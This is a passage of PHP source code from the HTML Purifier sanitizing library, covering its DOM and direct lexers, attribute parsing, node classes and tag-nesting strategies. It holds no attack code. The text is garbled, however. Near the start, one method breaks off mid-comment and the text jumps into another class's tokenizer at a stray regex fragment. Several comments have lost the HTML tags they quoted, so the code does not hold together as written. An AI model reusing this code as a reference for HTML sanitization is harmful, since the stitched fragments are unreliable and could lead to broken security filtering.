array($this, 'callbackUndoCommentSubst'), $html); // fix comments } // preprocess html, essential for UTF-8 $html = $this->wrapHTML($html, $config, $context); $doc = new DOMDocument(); $doc->encoding = 'UTF-8'; // theoretically, the above has this covered set_error_handler(array($this, 'muteErrorHandler')); $doc->loadHTML($html); restore_error_handler(); $tokens = array(); $this->tokenizeDOM( $doc->getElementsByTagName('html')->item(0)-> // getElementsByTagName('body')->item(0)-> // getElementsByTagName('div')->item(0), //
    $tokens ); return $tokens; } /** * Iterative function that tokenizes a node, putting it into an accumulator. * To iterate is human, to recurse divine - L. Peter Deutsch * @param DOMNode $node DOMNode to be tokenized. * @param HTMLPurifier_Token[] $tokens Array-list of already tokenized tokens. * @return HTMLPurifier_Token of node appended to previously passed tokens. */ protected function tokenizeDOM($node, &$tokens) { $level = 0; $nodes = array($level => new HTMLPurifier_Queue(array($node))); $closingNodes = array(); do { while (!$nodes[$level]->isEmpty()) { $node = $nodes[$level]->shift(); // FIFO $collect = $level > 0 ? true : false; $needEndingTag = $this->createStartNode($node, $tokens, $collect); if ($needEndingTag) { $closingNodes[$level][] = $node; } if ($node->childNodes && $node->childNodes->length) { $level++; $nodes[$level] = new HTMLPurifier_Queue(); foreach ($node->childNodes as $childNode) { $nodes[$level]->push($childNode); } } } $level--; if ($level && isset($closingNodes[$level])) { while ($node = array_pop($closingNodes[$level])) { $this->createEndNode($node, $tokens); } } } while ($level > 0); } /** * @param DOMNode $node DOMNode to be tokenized. * @param HTMLPurifier_Token[] $tokens Array-list of already tokenized tokens. * @param bool $collect Says whether or start and close are collected, set to * false at first recursion because it's the implicit DIV * tag you're dealing with. * @return bool if the token needs an endtoken * @todo data and tagName properties don't seem to exist in DOMNode? */ protected function createStartNode($node, &$tokens, $collect) { // intercept non element nodes. WE MUST catch all of them, // but we're not getting the character reference nodes because // those should have been preprocessed if ($node->nodeType === XML_TEXT_NODE) { $tokens[] = $this->factory->createText($node->data); return false; } elseif ($node->nodeType === XML_CDATA_SECTION_NODE) { // undo libxml's special treatment of )#si', array($this, 'scriptCallback'), $html ); } $html = $this->normalize($html, $config, $context); $cursor = 0; // our location in the text $inside_tag = false; // whether or not we're parsing the inside of a tag $array = array(); // result array // This is also treated to mean maintain *column* numbers too $maintain_line_numbers = $config->get('Core.MaintainLineNumbers'); if ($maintain_line_numbers === null) { // automatically determine line numbering by checking // if error collection is on $maintain_line_numbers = $config->get('Core.CollectErrors'); } if ($maintain_line_numbers) { $current_line = 1; $current_col = 0; $length = strlen($html); } else { $current_line = false; $current_col = false; $length = false; } $context->register('CurrentLine', $current_line); $context->register('CurrentCol', $current_col); $nl = "\n"; // how often to manually recalculate. This will ALWAYS be right, // but it's pretty wasteful. Set to 0 to turn off $synchronize_interval = $config->get('Core.DirectLexLineNumberSyncInterval'); $e = false; if ($config->get('Core.CollectErrors')) { $e =& $context->get('ErrorCollector'); } // for testing synchronization $loops = 0; while (++$loops) { // $cursor is either at the start of a token, or inside of // a tag (i.e. there was a < immediately before it), as indicated // by $inside_tag if ($maintain_line_numbers) { // $rcursor, however, is always at the start of a token. $rcursor = $cursor - (int)$inside_tag; // Column number is cheap, so we calculate it every round. // We're interested at the *end* of the newline string, so // we need to add strlen($nl) == 1 to $nl_pos before subtracting it // from our "rcursor" position. $nl_pos = strrpos($html, $nl, $rcursor - $length); $current_col = $rcursor - (is_bool($nl_pos) ? 0 : $nl_pos + 1); // recalculate lines if ($synchronize_interval && // synchronization is on $cursor > 0 && // cursor is further than zero $loops % $synchronize_interval === 0) { // time to synchronize! $current_line = 1 + $this->substrCount($html, $nl, 0, $cursor); } } $position_next_lt = strpos($html, '<', $cursor); $position_next_gt = strpos($html, '>', $cursor); // triggers on "asdf" but not "asdf " // special case to set up context if ($position_next_lt === $cursor) { $inside_tag = true; $cursor++; } if (!$inside_tag && $position_next_lt !== false) { // We are not inside tag and there still is another tag to parse $token = new HTMLPurifier_Token_Text( $this->parseData( substr( $html, $cursor, $position_next_lt - $cursor ) ) ); if ($maintain_line_numbers) { $token->rawPosition($current_line, $current_col); $current_line += $this->substrCount($html, $nl, $cursor, $position_next_lt - $cursor); } $array[] = $token; $cursor = $position_next_lt + 1; $inside_tag = true; continue; } elseif (!$inside_tag) { // We are not inside tag but there are no more tags // If we're already at the end, break if ($cursor === strlen($html)) { break; } // Create Text of rest of string $token = new HTMLPurifier_Token_Text( $this->parseData( substr( $html, $cursor ) ) ); if ($maintain_line_numbers) { $token->rawPosition($current_line, $current_col); } $array[] = $token; break; } elseif ($inside_tag && $position_next_gt !== false) { // We are in tag and it is well formed // Grab the internals of the tag $strlen_segment = $position_next_gt - $cursor; if ($strlen_segment < 1) { // there's nothing to process! $token = new HTMLPurifier_Token_Text('<'); $cursor++; continue; } $segment = substr($html, $cursor, $strlen_segment); if ($segment === false) { // somehow, we attempted to access beyond the end of // the string, defense-in-depth, reported by Nate Abele break; } // Check if it's a comment if (substr($segment, 0, 3) === '!--') { // re-determine segment length, looking for --> $position_comment_end = strpos($html, '-->', $cursor); if ($position_comment_end === false) { // uh oh, we have a comment that extends to // infinity. Can't be helped: set comment // end position to end of string if ($e) { $e->send(E_WARNING, 'Lexer: Unclosed comment'); } $position_comment_end = strlen($html); $end = true; } else { $end = false; } $strlen_segment = $position_comment_end - $cursor; $segment = substr($html, $cursor, $strlen_segment); $token = new HTMLPurifier_Token_Comment( substr( $segment, 3, $strlen_segment - 3 ) ); if ($maintain_line_numbers) { $token->rawPosition($current_line, $current_col); $current_line += $this->substrCount($html, $nl, $cursor, $strlen_segment); } $array[] = $token; $cursor = $end ? $position_comment_end : $position_comment_end + 3; $inside_tag = false; continue; } // Check if it's an end tag $is_end_tag = (strpos($segment, '/') === 0); if ($is_end_tag) { $type = substr($segment, 1); $token = new HTMLPurifier_Token_End($type); if ($maintain_line_numbers) { $token->rawPosition($current_line, $current_col); $current_line += $this->substrCount($html, $nl, $cursor, $position_next_gt - $cursor); } $array[] = $token; $inside_tag = false; $cursor = $position_next_gt + 1; continue; } // Check leading character is alnum, if not, we may // have accidently grabbed an emoticon. Translate into // text and go our merry way if (!ctype_alpha($segment[0])) { // XML: $segment[0] !== '_' && $segment[0] !== ':' if ($e) { $e->send(E_NOTICE, 'Lexer: Unescaped lt'); } $token = new HTMLPurifier_Token_Text('<'); if ($maintain_line_numbers) { $token->rawPosition($current_line, $current_col); $current_line += $this->substrCount($html, $nl, $cursor, $position_next_gt - $cursor); } $array[] = $token; $inside_tag = false; continue; } // Check if it is explicitly self closing, if so, remove // trailing slash. Remember, we could have a tag like
    , so // any later token processing scripts must convert improperly // classified EmptyTags from StartTags. $is_self_closing = (strrpos($segment, '/') === $strlen_segment - 1); if ($is_self_closing) { $strlen_segment--; $segment = substr($segment, 0, $strlen_segment); } // Check if there are any attributes $position_first_space = strcspn($segment, $this->_whitespace); if ($position_first_space >= $strlen_segment) { if ($is_self_closing) { $token = new HTMLPurifier_Token_Empty($segment); } else { $token = new HTMLPurifier_Token_Start($segment); } if ($maintain_line_numbers) { $token->rawPosition($current_line, $current_col); $current_line += $this->substrCount($html, $nl, $cursor, $position_next_gt - $cursor); } $array[] = $token; $inside_tag = false; $cursor = $position_next_gt + 1; continue; } // Grab out all the data $type = substr($segment, 0, $position_first_space); $attribute_string = trim( substr( $segment, $position_first_space ) ); if ($attribute_string) { $attr = $this->parseAttributeString( $attribute_string, $config, $context ); } else { $attr = array(); } if ($is_self_closing) { $token = new HTMLPurifier_Token_Empty($type, $attr); } else { $token = new HTMLPurifier_Token_Start($type, $attr); } if ($maintain_line_numbers) { $token->rawPosition($current_line, $current_col); $current_line += $this->substrCount($html, $nl, $cursor, $position_next_gt - $cursor); } $array[] = $token; $cursor = $position_next_gt + 1; $inside_tag = false; continue; } else { // inside tag, but there's no ending > sign if ($e) { $e->send(E_WARNING, 'Lexer: Missing gt'); } $token = new HTMLPurifier_Token_Text( '<' . $this->parseData( substr($html, $cursor) ) ); if ($maintain_line_numbers) { $token->rawPosition($current_line, $current_col); } // no cursor scroll? Hmm... $array[] = $token; break; } break; } $context->destroy('CurrentLine'); $context->destroy('CurrentCol'); return $array; } /** * PHP 5.0.x compatible substr_count that implements offset and length * @param string $haystack * @param string $needle * @param int $offset * @param int $length * @return int */ protected function substrCount($haystack, $needle, $offset, $length) { static $oldVersion; if ($oldVersion === null) { $oldVersion = version_compare(PHP_VERSION, '5.1', '<'); } if ($oldVersion) { $haystack = substr($haystack, $offset, $length); return substr_count($haystack, $needle); } else { return substr_count($haystack, $needle, $offset, $length); } } /** * Takes the inside of an HTML tag and makes an assoc array of attributes. * * @param string $string Inside of tag excluding name. * @param HTMLPurifier_Config $config * @param HTMLPurifier_Context $context * @return array Assoc array of attributes. */ public function parseAttributeString($string, $config, $context) { $string = (string)$string; // quick typecast if ($string == '') { return array(); } // no attributes $e = false; if ($config->get('Core.CollectErrors')) { $e =& $context->get('ErrorCollector'); } // let's see if we can abort as quickly as possible // one equal sign, no spaces => one attribute $num_equal = substr_count($string, '='); $has_space = strpos($string, ' '); if ($num_equal === 0 && !$has_space) { // bool attribute return array($string => $string); } elseif ($num_equal === 1 && !$has_space) { // only one attribute list($key, $quoted_value) = explode('=', $string); $quoted_value = trim($quoted_value); if (!$key) { if ($e) { $e->send(E_ERROR, 'Lexer: Missing attribute key'); } return array(); } if (!$quoted_value) { return array($key => ''); } $first_char = @$quoted_value[0]; $last_char = @$quoted_value[strlen($quoted_value) - 1]; $same_quote = ($first_char == $last_char); $open_quote = ($first_char == '"' || $first_char == "'"); if ($same_quote && $open_quote) { // well behaved $value = substr($quoted_value, 1, strlen($quoted_value) - 2); } else { // not well behaved if ($open_quote) { if ($e) { $e->send(E_ERROR, 'Lexer: Missing end quote'); } $value = substr($quoted_value, 1); } else { $value = $quoted_value; } } if ($value === false) { $value = ''; } return array($key => $this->parseData($value)); } // setup loop environment $array = array(); // return assoc array of attributes $cursor = 0; // current position in string (moves forward) $size = strlen($string); // size of the string (stays the same) // if we have unquoted attributes, the parser expects a terminating // space, so let's guarantee that there's always a terminating space. $string .= ' '; $old_cursor = -1; while ($cursor < $size) { if ($old_cursor >= $cursor) { throw new Exception("Infinite loop detected"); } $old_cursor = $cursor; $cursor += ($value = strspn($string, $this->_whitespace, $cursor)); // grab the key $key_begin = $cursor; //we're currently at the start of the key // scroll past all characters that are the key (not whitespace or =) $cursor += strcspn($string, $this->_whitespace . '=', $cursor); $key_end = $cursor; // now at the end of the key $key = substr($string, $key_begin, $key_end - $key_begin); if (!$key) { if ($e) { $e->send(E_ERROR, 'Lexer: Missing attribute key'); } $cursor += 1 + strcspn($string, $this->_whitespace, $cursor + 1); // prevent infinite loop continue; // empty key } // scroll past all whitespace $cursor += strspn($string, $this->_whitespace, $cursor); if ($cursor >= $size) { $array[$key] = $key; break; } // if the next character is an equal sign, we've got a regular // pair, otherwise, it's a bool attribute $first_char = @$string[$cursor]; if ($first_char == '=') { // key="value" $cursor++; $cursor += strspn($string, $this->_whitespace, $cursor); if ($cursor === false) { $array[$key] = ''; break; } // we might be in front of a quote right now $char = @$string[$cursor]; if ($char == '"' || $char == "'") { // it's quoted, end bound is $char $cursor++; $value_begin = $cursor; $cursor = strpos($string, $char, $cursor); $value_end = $cursor; } else { // it's not quoted, end bound is whitespace $value_begin = $cursor; $cursor += strcspn($string, $this->_whitespace, $cursor); $value_end = $cursor; } // we reached a premature end if ($cursor === false) { $cursor = $size; $value_end = $cursor; } $value = substr($string, $value_begin, $value_end - $value_begin); if ($value === false) { $value = ''; } $array[$key] = $this->parseData($value); $cursor++; } else { // boolattr if ($key !== '') { $array[$key] = $key; } else { // purely theoretical if ($e) { $e->send(E_ERROR, 'Lexer: Missing attribute key'); } } } } return $array; } } /** * Concrete comment node class. */ class HTMLPurifier_Node_Comment extends HTMLPurifier_Node { /** * Character data within comment. * @type string */ public $data; /** * @type bool */ public $is_whitespace = true; /** * Transparent constructor. * * @param string $data String comment data. * @param int $line * @param int $col */ public function __construct($data, $line = null, $col = null) { $this->data = $data; $this->line = $line; $this->col = $col; } public function toTokenPair() { return array(new HTMLPurifier_Token_Comment($this->data, $this->line, $this->col), null); } } /** * Concrete element node class. */ class HTMLPurifier_Node_Element extends HTMLPurifier_Node { /** * The lower-case name of the tag, like 'a', 'b' or 'blockquote'. * * @note Strictly speaking, XML tags are case sensitive, so we shouldn't * be lower-casing them, but these tokens cater to HTML tags, which are * insensitive. * @type string */ public $name; /** * Associative array of the node's attributes. * @type array */ public $attr = array(); /** * List of child elements. * @type array */ public $children = array(); /** * Does this use the form or the form, i.e. * is it a pair of start/end tokens or an empty token. * @bool */ public $empty = false; public $endCol = null, $endLine = null, $endArmor = array(); public function __construct($name, $attr = array(), $line = null, $col = null, $armor = array()) { $this->name = $name; $this->attr = $attr; $this->line = $line; $this->col = $col; $this->armor = $armor; } public function toTokenPair() { // XXX inefficiency here, normalization is not necessary if ($this->empty) { return array(new HTMLPurifier_Token_Empty($this->name, $this->attr, $this->line, $this->col, $this->armor), null); } else { $start = new HTMLPurifier_Token_Start($this->name, $this->attr, $this->line, $this->col, $this->armor); $end = new HTMLPurifier_Token_End($this->name, array(), $this->endLine, $this->endCol, $this->endArmor); //$end->start = $start; return array($start, $end); } } } /** * Concrete text token class. * * Text tokens comprise of regular parsed character data (PCDATA) and raw * character data (from the CDATA sections). Internally, their * data is parsed with all entities expanded. Surprisingly, the text token * does have a "tag name" called #PCDATA, which is how the DTD represents it * in permissible child nodes. */ class HTMLPurifier_Node_Text extends HTMLPurifier_Node { /** * PCDATA tag name compatible with DTD, see * HTMLPurifier_ChildDef_Custom for details. * @type string */ public $name = '#PCDATA'; /** * @type string */ public $data; /**< Parsed character data of text. */ /** * @type bool */ public $is_whitespace; /**< Bool indicating if node is whitespace. */ /** * Constructor, accepts data and determines if it is whitespace. * @param string $data String parsed character data. * @param int $line * @param int $col */ public function __construct($data, $is_whitespace, $line = null, $col = null) { $this->data = $data; $this->is_whitespace = $is_whitespace; $this->line = $line; $this->col = $col; } public function toTokenPair() { return array(new HTMLPurifier_Token_Text($this->data, $this->line, $this->col), null); } } /** * Composite strategy that runs multiple strategies on tokens. */ abstract class HTMLPurifier_Strategy_Composite extends HTMLPurifier_Strategy { /** * List of strategies to run tokens through. * @type HTMLPurifier_Strategy[] */ protected $strategies = array(); /** * @param HTMLPurifier_Token[] $tokens * @param HTMLPurifier_Config $config * @param HTMLPurifier_Context $context * @return HTMLPurifier_Token[] */ public function execute($tokens, $config, $context) { foreach ($this->strategies as $strategy) { $tokens = $strategy->execute($tokens, $config, $context); } return $tokens; } } /** * Core strategy composed of the big four strategies. */ class HTMLPurifier_Strategy_Core extends HTMLPurifier_Strategy_Composite { public function __construct() { $this->strategies[] = new HTMLPurifier_Strategy_RemoveForeignElements(); $this->strategies[] = new HTMLPurifier_Strategy_MakeWellFormed(); $this->strategies[] = new HTMLPurifier_Strategy_FixNesting(); $this->strategies[] = new HTMLPurifier_Strategy_ValidateAttributes(); } } /** * Takes a well formed list of tokens and fixes their nesting. * * HTML elements dictate which elements are allowed to be their children, * for example, you can't have a p tag in a span tag. Other elements have * much more rigorous definitions: tables, for instance, require a specific * order for their elements. There are also constraints not expressible by * document type definitions, such as the chameleon nature of ins/del * tags and global child exclusions. * * The first major objective of this strategy is to iterate through all * the nodes and determine whether or not their children conform to the * element's definition. If they do not, the child definition may * optionally supply an amended list of elements that is valid or * require that the entire node be deleted (and the previous node * rescanned). * * The second objective is to ensure that explicitly excluded elements of * an element do not appear in its children. Code that accomplishes this * task is pervasive through the strategy, though the two are distinct tasks * and could, theoretically, be seperated (although it's not recommended). * * @note Whether or not unrecognized children are silently dropped or * translated into text depends on the child definitions. * * @todo Enable nodes to be bubbled out of the structure. This is * easier with our new algorithm. */ class HTMLPurifier_Strategy_FixNesting extends HTMLPurifier_Strategy { /** * @param HTMLPurifier_Token[] $tokens * @param HTMLPurifier_Config $config * @param HTMLPurifier_Context $context * @return array|HTMLPurifier_Token[] */ public function execute($tokens, $config, $context) { //####################################################################// // Pre-processing // O(n) pass to convert to a tree, so that we can efficiently // refer to substrings $top_node = HTMLPurifier_Arborize::arborize($tokens, $config, $context); // get a copy of the HTML definition $definition = $config->getHTMLDefinition(); $excludes_enabled = !$config->get('Core.DisableExcludes'); // setup the context variable 'IsInline', for chameleon processing // is 'false' when we are not inline, 'true' when it must always // be inline, and an integer when it is inline for a certain // branch of the document tree $is_inline = $definition->info_parent_def->descendants_are_inline; $context->register('IsInline', $is_inline); // setup error collector $e =& $context->get('ErrorCollector', true); //####################################################################// // Loop initialization // stack that contains all elements that are excluded // it is organized by parent elements, similar to $stack, // but it is only populated when an element with exclusions is // processed, i.e. there won't be empty exclusions. $exclude_stack = array($definition->info_parent_def->excludes); // variable that contains the start token while we are processing // nodes. This enables error reporting to do its job $node = $top_node; // dummy token list($token, $d) = $node->toTokenPair(); $context->register('CurrentNode', $node); $context->register('CurrentToken', $token); //####################################################################// // Loop // We need to implement a post-order traversal iteratively, to // avoid running into stack space limits. This is pretty tricky // to reason about, so we just manually stack-ify the recursive // variant: // // function f($node) { // foreach ($node->children as $child) { // f($child); // } // validate($node); // } // // Thus, we will represent a stack frame as array($node, // $is_inline, stack of children) // e.g. array_reverse($node->children) - already processed // children. $parent_def = $definition->info_parent_def; $stack = array( array($top_node, $parent_def->descendants_are_inline, $parent_def->excludes, // exclusions 0) ); while (!empty($stack)) { list($node, $is_inline, $excludes, $ix) = array_pop($stack); // recursive call $go = false; $def = empty($stack) ? $definition->info_parent_def : $definition->info[$node->name]; while (isset($node->children[$ix])) { $child = $node->children[$ix++]; if ($child instanceof HTMLPurifier_Node_Element) { $go = true; $stack[] = array($node, $is_inline, $excludes, $ix); $stack[] = array($child, // ToDo: I don't think it matters if it's def or // child_def, but double check this... $is_inline || $def->descendants_are_inline, empty($def->excludes) ? $excludes : array_merge($excludes, $def->excludes), 0); break; } }; if ($go) continue; list($token, $d) = $node->toTokenPair(); // base case if ($excludes_enabled && isset($excludes[$node->name])) { $node->dead = true; if ($e) $e->send(E_ERROR, 'Strategy_FixNesting: Node excluded'); } else { // XXX I suppose it would be slightly more efficient to // avoid the allocation here and have children // strategies handle it $children = array(); foreach ($node->children as $child) { if (!$child->dead) $children[] = $child; } $result = $def->child->validateChildren($children, $config, $context); if ($result === true) { // nop $node->children = $children; } elseif ($result === false) { $node->dead = true; if ($e) $e->send(E_ERROR, 'Strategy_FixNesting: Node removed'); } else { $node->children = $result; if ($e) { // XXX This will miss mutations of internal nodes. Perhaps defer to the child validators if (empty($result) && !empty($children)) { $e->send(E_ERROR, 'Strategy_FixNesting: Node contents removed'); } elseif ($result != $children) { $e->send(E_WARNING, 'Strategy_FixNesting: Node reorganized'); } } } } } //####################################################################// // Post-processing // remove context variables $context->destroy('IsInline'); $context->destroy('CurrentNode'); $context->destroy('CurrentToken'); //####################################################################// // Return return HTMLPurifier_Arborize::flatten($node, $config, $context); } } /** * Takes tokens makes them well-formed (balance end tags, etc.) * * Specification of the armor attributes this strategy uses: * * - MakeWellFormed_TagClosedError: This armor field is used to * suppress tag closed errors for certain tokens [TagClosedSuppress], * in particular, if a tag was generated automatically by HTML * Purifier, we may rely on our infrastructure to close it for us * and shouldn't report an error to the user [TagClosedAuto]. */ class HTMLPurifier_Strategy_MakeWellFormed extends HTMLPurifier_Strategy { /** * Array stream of tokens being processed. * @type HTMLPurifier_Token[] */ protected $tokens; /** * Current token. * @type HTMLPurifier_Token */ protected $token; /** * Zipper managing the true state. * @type HTMLPurifier_Zipper */ protected $zipper; /** * Current nesting of elements. * @type array */ protected $stack; /** * Injectors active in this stream processing. * @type HTMLPurifier_Injector[] */ protected $injectors; /** * Current instance of HTMLPurifier_Config. * @type HTMLPurifier_Config */ protected $config; /** * Current instance of HTMLPurifier_Context. * @type HTMLPurifier_Context */ protected $context; /** * @param HTMLPurifier_Token[] $tokens * @param HTMLPurifier_Config $config * @param HTMLPurifier_Context $context * @return HTMLPurifier_Token[] * @throws HTMLPurifier_Exception */ public function execute($tokens, $config, $context) { $definition = $config->getHTMLDefinition(); // local variables $generator = new HTMLPurifier_Generator($config, $context); $escape_invalid_tags = $config->get('Core.EscapeInvalidTags'); // used for autoclose early abortion $global_parent_allowed_elements = $definition->info_parent_def->child->getAllowedElements($config); $e = $context->get('ErrorCollector', true); $i = false; // injector index list($zipper, $token) = HTMLPurifier_Zipper::fromArray($tokens); if ($token === null) { return array(); } $reprocess = false; // whether or not to reprocess the same token $stack = array(); // member variables $this->stack =& $stack; $this->tokens =& $tokens; $this->token =& $token; $this->zipper =& $zipper; $this->config = $config; $this->context = $context; // context variables $context->register('CurrentNesting', $stack); $context->register('InputZipper', $zipper); $context->register('CurrentToken', $token); // -- begin INJECTOR -- $this->injectors = array(); $injectors = $config->getBatch('AutoFormat'); $def_injectors = $definition->info_injector; $custom_injectors = $injectors['Custom']; unset($injectors['Custom']); // special case foreach ($injectors as $injector => $b) { // XXX: Fix with a legitimate lookup table of enabled filters if (strpos($injector, '.') !== false) { continue; } $injector = "HTMLPurifier_Injector_$injector"; if (!$b) { continue; } $this->injectors[] = new $injector; } foreach ($def_injectors as $injector) { // assumed to be objects $this->injectors[] = $injector; } foreach ($custom_injectors as $injector) { if (!$injector) { continue; } if (is_string($injector)) { $injector = "HTMLPurifier_Injector_$injector"; $injector = new $injector; } $this->injectors[] = $injector; } // give the injectors references to the definition and context // variables for performance reasons foreach ($this->injectors as $ix => $injector) { $error = $injector->prepare($config, $context); if (!$error) { continue; } array_splice($this->injectors, $ix, 1); // rm the injector trigger_error("Cannot enable {$injector->name} injector because $error is not allowed", E_USER_WARNING); } // -- end INJECTOR -- // a note on reprocessing: // In order to reduce code duplication, whenever some code needs // to make HTML changes in order to make things "correct", the // new HTML gets sent through the purifier, regardless of its // status. This means that if we add a start token, because it // was totally necessary, we don't have to update nesting; we just // punt ($reprocess = true; continue;) and it does that for us. // isset is in loop because $tokens size changes during loop exec for (;; // only increment if we don't need to reprocess $reprocess ? $reprocess = false : $token = $zipper->next($token)) { // check for a rewind if (is_int($i)) { // possibility: disable rewinding if the current token has a // rewind set on it already. This would offer protection from // infinite loop, but might hinder some advanced rewinding. $rewind_offset = $this->injectors[$i]->getRewindOffset(); if (is_int($rewind_offset)) { for ($j = 0; $j < $rewind_offset; $j++) { if (empty($zipper->front)) break; $token = $zipper->prev($token); // indicate that other injectors should not process this token, // but we need to reprocess it unset($token->skip[$i]); $token->rewind = $i; if ($token instanceof HTMLPurifier_Token_Start) { array_pop($this->stack); } elseif ($token instanceof HTMLPurifier_Token_End) { $this->stack[] = $token->start; } } } $i = false; } // handle case of document end if ($token === null) { // kill processing if stack is empty if (empty($this->stack)) { break; } // peek $top_nesting = array_pop($this->stack); $this->stack[] = $top_nesting; // send error [TagClosedSuppress] if ($e && !isset($top_nesting->armor['MakeWellFormed_TagClosedError'])) { $e->send(E_NOTICE, 'Strategy_MakeWellFormed: Tag closed by document end', $top_nesting); } // append, don't splice, since this is the end $token = new HTMLPurifier_Token_End($top_nesting->name); // punt! $reprocess = true; continue; } //echo '
    '; printZipper($zipper, $token);//printTokens($this->stack); //flush(); // quick-check: if it's not a tag, no need to process if (empty($token->is_tag)) { if ($token instanceof HTMLPurifier_Token_Text) { foreach ($this->injectors as $i => $injector) { if (isset($token->skip[$i])) { continue; } if ($token->rewind !== null && $token->rewind !== $i) { continue; } // XXX fuckup $r = $token; $injector->handleText($r); $token = $this->processToken($r, $i); $reprocess = true; break; } } // another possibility is a comment continue; } if (isset($definition->info[$token->name])) { $type = $definition->info[$token->name]->child->type; } else { $type = false; // Type is unknown, treat accordingly } // quick tag checks: anything that's *not* an end tag $ok = false; if ($type === 'empty' && $token instanceof HTMLPurifier_Token_Start) { // claims to be a start tag but is empty $token = new HTMLPurifier_Token_Empty( $token->name, $token->attr, $token->line, $token->col, $token->armor ); $ok = true; } elseif ($type && $type !== 'empty' && $token instanceof HTMLPurifier_Token_Empty) { // claims to be empty but really is a start tag // NB: this assignment is required $old_token = $token; $token = new HTMLPurifier_Token_End($token->name); $token = $this->insertBefore( new HTMLPurifier_Token_Start($old_token->name, $old_token->attr, $old_token->line, $old_token->col, $old_token->armor) ); // punt (since we had to modify the input stream in a non-trivial way) $reprocess = true; continue; } elseif ($token instanceof HTMLPurifier_Token_Empty) { // real empty token $ok = true; } elseif ($token instanceof HTMLPurifier_Token_Start) { // start tag // ...unless they also have to close their parent if (!empty($this->stack)) { // Performance note: you might think that it's rather // inefficient, recalculating the autoclose information // for every tag that a token closes (since when we // do an autoclose, we push a new token into the // stream and then /process/ that, before // re-processing this token.) But this is // necessary, because an injector can make an // arbitrary transformations to the autoclosing // tokens we introduce, so things may have changed // in the meantime. Also, doing the inefficient thing is // "easy" to reason about (for certain perverse definitions // of "easy") $parent = array_pop($this->stack); $this->stack[] = $parent; $parent_def = null; $parent_elements = null; $autoclose = false; if (isset($definition->info[$parent->name])) { $parent_def = $definition->info[$parent->name]; $parent_elements = $parent_def->child->getAllowedElements($config); $autoclose = !isset($parent_elements[$token->name]); } if ($autoclose && $definition->info[$token->name]->wrap) { // Check if an element can be wrapped by another // element to make it valid in a context (for // example,
        needs a
      • in between) $wrapname = $definition->info[$token->name]->wrap; $wrapdef = $definition->info[$wrapname]; $elements = $wrapdef->child->getAllowedElements($config); if (isset($elements[$token->name]) && isset($parent_elements[$wrapname])) { $newtoken = new HTMLPurifier_Token_Start($wrapname); $token = $this->insertBefore($newtoken); $reprocess = true; continue; } } $carryover = false; if ($autoclose && $parent_def->formatting) { $carryover = true; } if ($autoclose) { // check if this autoclose is doomed to fail // (this rechecks $parent, which his harmless) $autoclose_ok = isset($global_parent_allowed_elements[$token->name]); if (!$autoclose_ok) { foreach ($this->stack as $ancestor) { $elements = $definition->info[$ancestor->name]->child->getAllowedElements($config); if (isset($elements[$token->name])) { $autoclose_ok = true; break; } if ($definition->info[$token->name]->wrap) { $wrapname = $definition->info[$token->name]->wrap; $wrapdef = $definition->info[$wrapname]; $wrap_elements = $wrapdef->child->getAllowedElements($config); if (isset($wrap_elements[$token->name]) && isset($elements[$wrapname])) { $autoclose_ok = true; break; } } } } if ($autoclose_ok) { // errors need to be updated $new_token = new HTMLPurifier_Token_End($parent->name); $new_token->start = $parent; // [TagClosedSuppress] if ($e && !isset($parent->armor['MakeWellFormed_TagClosedError'])) { if (!$carryover) { $e->send(E_NOTICE, 'Strategy_MakeWellFormed: Tag auto closed', $parent); } else { $e->send(E_NOTICE, 'Strategy_MakeWellFormed: Tag carryover', $parent); } } if ($carryover) { $element = clone $parent; // [TagClosedAuto] $element->armor['MakeWellFormed_TagClosedError'] = true; $element->carryover = true; $token = $this->processToken(array($new_token, $token, $element)); } else { $token = $this->insertBefore($new_token); } } else { $token = $this->remove(); } $reprocess = true; continue; } } $ok = true; } if ($ok) { foreach ($this->injectors as $i => $injector) { if (isset($token->skip[$i])) { continue; } if ($token->rewind !== null && $token->rewind !== $i) { continue; } $r = $token; $injector->handleElement($r); $token = $this->processToken($r, $i); $reprocess = true; break; } if (!$reprocess) { // ah, nothing interesting happened; do normal processing if ($token instanceof HTMLPurifier_Token_Start) { $this->stack[] = $token; } elseif ($token instanceof HTMLPurifier_Token_End) { throw new HTMLPurifier_Exception( 'Improper handling of end tag in start code; possible error in MakeWellFormed' ); } } continue; } // sanity check: we should be dealing with a closing tag if (!$token instanceof HTMLPurifier_Token_End) { throw new HTMLPurifier_Exception('Unaccounted for tag token in input stream, bug in HTML Purifier'); } // make sure that we have something open if (empty($this->stack)) { if ($escape_invalid_tags) { if ($e) { $e->send(E_WARNING, 'Strategy_MakeWellFormed: Unnecessary end tag to text'); } $token = new HTMLPurifier_Token_Text($generator->generateFromToken($token)); } else { if ($e) { $e->send(E_WARNING, 'Strategy_MakeWellFormed: Unnecessary end tag removed'); } $token = $this->remove(); } $reprocess = true; continue; } // first, check for the simplest case: everything closes neatly. // Eventually, everything passes through here; if there are problems // we modify the input stream accordingly and then punt, so that // the tokens get processed again. $current_parent = array_pop($this->stack); if ($current_parent->name == $token->name) { $token->start = $current_parent; foreach ($this->injectors as $i => $injector) { if (isset($token->skip[$i])) { continue; } if ($token->rewind !== null && $token->rewind !== $i) { continue; } $r = $token; $injector->handleEnd($r); $token = $this->processToken($r, $i); $this->stack[] = $current_parent; $reprocess = true; break; } continue; } // okay, so we're trying to close the wrong tag // undo the pop previous pop $this->stack[] = $current_parent; // scroll back the entire nest, trying to find our tag. // (feature could be to specify how far you'd like to go) $size = count($this->stack); // -2 because -1 is the last element, but we already checked that $skipped_tags = false; for ($j = $size - 2; $j >= 0; $j--) { if ($this->stack[$j]->name == $token->name) { $skipped_tags = array_slice($this->stack, $j); break; } } // we didn't find the tag, so remove if ($skipped_tags === false) { if ($escape_invalid_tags) { if ($e) { $e->send(E_WARNING, 'Strategy_MakeWellFormed: Stray end tag to text'); } $token = new HTMLPurifier_Token_Text($generator->generateFromToken($token)); } else { if ($e) { $e->send(E_WARNING, 'Strategy_MakeWellFormed: Stray end tag removed'); } $token = $this->remove(); } $reprocess = true; continue; } // do errors, in REVERSE $j order: a,b,c with $c = count($skipped_tags); if ($e) { for ($j = $c - 1; $j > 0; $j--) { // notice we exclude $j == 0, i.e. the current ending tag, from // the errors... [TagClosedSuppress] if (!isset($skipped_tags[$j]->armor['MakeWellFormed_TagClosedError'])) { $e->send(E_NOTICE, 'Strategy_MakeWellFormed: Tag closed by element end', $skipped_tags[$j]); } } } // insert tags, in FORWARD $j order: c,b,a with $replace = array($token); for ($j = 1; $j < $c; $j++) { // ...as well as from the insertions $new_token = new HTMLPurifier_Token_End($skipped_tags[$j]->name); $new_token->start = $skipped_tags[$j]; 